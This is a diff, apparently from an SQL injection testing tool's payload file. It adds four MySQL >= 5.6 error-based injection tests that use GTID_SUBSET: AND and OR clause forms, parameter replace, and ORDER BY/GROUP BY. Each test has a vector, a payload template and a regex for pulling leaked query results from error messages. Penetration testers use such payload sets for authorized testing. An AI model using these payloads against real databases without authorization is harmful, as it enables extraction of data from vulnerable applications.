|
91 | 91 | </details> |
92 | 92 | </test> |
93 | 93 |
|
| 94 | + <test> |
| 95 | + <title>MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title> |
| 96 | + <stype>2</stype> |
| 97 | + <level>4</level> |
| 98 | + <risk>1</risk> |
| 99 | + <clause>1,2,3,8,9</clause> |
| 100 | + <where>1</where> |
| 101 | + <vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector> |
| 102 | + <request> |
| 103 | + <payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload> |
| 104 | + </request> |
| 105 | + <response> |
| 106 | + <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
| 107 | + </response> |
| 108 | + <details> |
| 109 | + <dbms>MySQL</dbms> |
| 110 | + <dbms_version>>= 5.6</dbms_version> |
| 111 | + </details> |
| 112 | + </test> |
| 113 | + |
| 114 | + <test> |
| 115 | + <title>MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title> |
| 116 | + <stype>2</stype> |
| 117 | + <level>4</level> |
| 118 | + <risk>3</risk> |
| 119 | + <clause>1,8,9</clause> |
| 120 | + <where>1</where> |
| 121 | + <vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector> |
| 122 | + <request> |
| 123 | + <payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload> |
| 124 | + </request> |
| 125 | + <response> |
| 126 | + <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
| 127 | + </response> |
| 128 | + <details> |
| 129 | + <dbms>MySQL</dbms> |
| 130 | + <dbms_version>>= 5.6</dbms_version> |
| 131 | + </details> |
| 132 | + </test> |
| 133 | + |
94 | 134 | <test> |
95 | 135 | <title>MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title> |
96 | 136 | <stype>2</stype> |
|
886 | 926 | </details> |
887 | 927 | </test> |
888 | 928 |
|
| 929 | + <test> |
| 930 | + <title>MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)</title> |
| 931 | + <stype>2</stype> |
| 932 | + <level>5</level> |
| 933 | + <risk>1</risk> |
| 934 | + <clause>1,2,3,9</clause> |
| 935 | + <where>3</where> |
| 936 | + <vector>GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector> |
| 937 | + <request> |
| 938 | + <payload>GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload> |
| 939 | + </request> |
| 940 | + <response> |
| 941 | + <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
| 942 | + </response> |
| 943 | + <details> |
| 944 | + <dbms>MySQL</dbms> |
| 945 | + <dbms_version>>= 5.6</dbms_version> |
| 946 | + </details> |
| 947 | + </test> |
| 948 | + |
889 | 949 | <test> |
890 | 950 | <title>MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title> |
891 | 951 | <stype>2</stype> |
|
1155 | 1215 | </details> |
1156 | 1216 | </test> |
1157 | 1217 |
|
| 1218 | + <test> |
| 1219 | + <title>MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)</title> |
| 1220 | + <stype>2</stype> |
| 1221 | + <level>5</level> |
| 1222 | + <risk>1</risk> |
| 1223 | + <clause>2,3</clause> |
| 1224 | + <where>1</where> |
| 1225 | + <vector>,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector> |
| 1226 | + <request> |
| 1227 | + <payload>,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload> |
| 1228 | + </request> |
| 1229 | + <response> |
| 1230 | + <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
| 1231 | + </response> |
| 1232 | + <details> |
| 1233 | + <dbms>MySQL</dbms> |
| 1234 | + <dbms_version>>= 5.6</dbms_version> |
| 1235 | + </details> |
| 1236 | + </test> |
| 1237 | + |
1158 | 1238 | <test> |
1159 | 1239 | <title>MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title> |
1160 | 1240 | <stype>2</stype> |
|
0 commit comments